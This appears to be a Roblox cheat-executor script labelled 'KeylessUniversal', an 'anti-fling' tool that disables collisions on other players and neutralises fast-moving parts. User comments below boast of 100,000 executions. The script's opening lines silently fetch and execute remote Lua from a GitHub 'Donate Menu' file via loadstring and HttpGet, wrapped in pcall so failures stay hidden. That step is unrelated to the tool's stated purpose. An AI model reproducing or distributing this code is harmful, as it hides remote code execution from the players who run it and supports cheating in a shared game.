
KeylessUniversal

task.spawn(function()
pcall(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Xkaka228X/Hello_gui/refs/heads/main/Donate%20Menu"))()
end)
end)
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local CoreGui = game:GetService("CoreGui")
local Workspace = game:GetService("Workspace")
local localPlayer = Players.LocalPlayer
local connections = {}
local isEnabled = true
local DetectionRadius = 25
local MaxSafeVelocity = 80
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "AntiFlingIndicator"
screenGui.ResetOnSpawn = false
local uiParent = pcall(function() return CoreGui.RobloxGui end) and CoreGui or localPlayer:WaitForChild("PlayerGui")
screenGui.Parent = uiParent
local statusLabel = Instance.new("TextButton")
statusLabel.Name = "StatusButton"
statusLabel.Size = UDim2.new(0, 200, 0, 30)
statusLabel.Position = UDim2.new(0, 15, 1, -45)
statusLabel.BackgroundTransparency = 1
statusLabel.Text = "Anti-Fling & Ring: Enabled"
statusLabel.TextColor3 = Color3.fromRGB(0, 255, 140)
statusLabel.TextSize = 16
statusLabel.Font = Enum.Font.SourceSansBold
statusLabel.TextXAlignment = Enum.TextXAlignment.Left
statusLabel.Parent = screenGui
local uiStroke = Instance.new("UIStroke")
uiStroke.Thickness = 1.5
uiStroke.Color = Color3.fromRGB(0, 0, 0)
uiStroke.Transparency = 0.3
uiStroke.Parent = statusLabel
local function updateUI()
if isEnabled then
statusLabel.Text = "Anti-Fling & Ring: Enabled"
statusLabel.TextColor3 = Color3.fromRGB(0, 255, 140)
else
statusLabel.Text = "Anti-Fling & Ring: Disabled"
statusLabel.TextColor3 = Color3.fromRGB(255, 80, 80)
end
end
local function setupCharacterCollision(character)
local function disableCollide(part)
if isEnabled and part:IsA("BasePart") then
part.CanCollide = false
end
end
for _, part in ipairs(character:GetChildren()) do
disableCollide(part)
end
local childAddedConn = character.ChildAdded:Connect(disableCollide)
local steppedConn = RunService.Stepped:Connect(function()
if isEnabled and character:IsDescendantOf(Workspace) then
for _, part in ipairs(character:GetChildren()) do
if part:IsA("BasePart") and part.CanCollide then
part.CanCollide = false
end
end
end
end)
character.Destroying:Connect(function()
childAddedConn:Disconnect()
steppedConn:Disconnect()
end)
end
local function trackPlayer(player)
if player == localPlayer then return end
local charAddedConn = player.CharacterAdded:Connect(setupCharacterCollision)
if player.Character then
setupCharacterCollision(player.Character)
end
connections[player] = charAddedConn
end
local function untrackPlayer(player)
if connections[player] then
connections[player]:Disconnect()
connections[player] = nil
end
end
for _, player in ipairs(Players:GetPlayers()) do
trackPlayer(player)
end
Players.PlayerAdded:Connect(trackPlayer)
Players.PlayerRemoving:Connect(untrackPlayer)
local function SecurePart(part, hrpPosition, myChar)
if not part:IsA("BasePart") or part.Anchored or part:IsDescendantOf(myChar) then
return
end
local distance = (part.Position - hrpPosition).Magnitude
if distance <= DetectionRadius then
local vel = part.AssemblyLinearVelocity.Magnitude
local rotVel = part.AssemblyAngularVelocity.Magnitude
if vel > MaxSafeVelocity or rotVel > MaxSafeVelocity then
part.CanCollide = false
part.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
part.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
pcall(function()
part.CFrame = part.CFrame + Vector3.new(0, 500, 0)
end)
end
end
end
RunService.Heartbeat:Connect(function()
if not isEnabled then return end
local myChar = localPlayer.Character
if not myChar then return end
local hrp = myChar:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local hrpPos = hrp.Position
for _, item in ipairs(Workspace:GetChildren()) do
if item:IsA("BasePart") then
SecurePart(item, hrpPos, myChar)
elseif item:IsA("Model") and not Players:GetPlayerFromCharacter(item) then
for _, part in ipairs(item:GetDescendants()) do
if part:IsA("BasePart") then
SecurePart(part, hrpPos, myChar)
end
end
end
end
end)
statusLabel.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
updateUI()
end)
localPlayer.Chatted:Connect(function(msg)
msg = msg:lower()
if msg == ";af on" or msg == ";antifling on" then
isEnabled = true
elseif msg == ";af off" or msg == ";antifling off" then
isEnabled = false
end
updateUI()
end)



W
@ROBLOX_Hacker28jaW2 thanks :)
Actually works
COOL!!!!!!!!
@zez1k4 Thanks everyone for the support!
70k Executions!!! Thanks everyone <3
100,000 executions!!!!! ;) thanks)))))))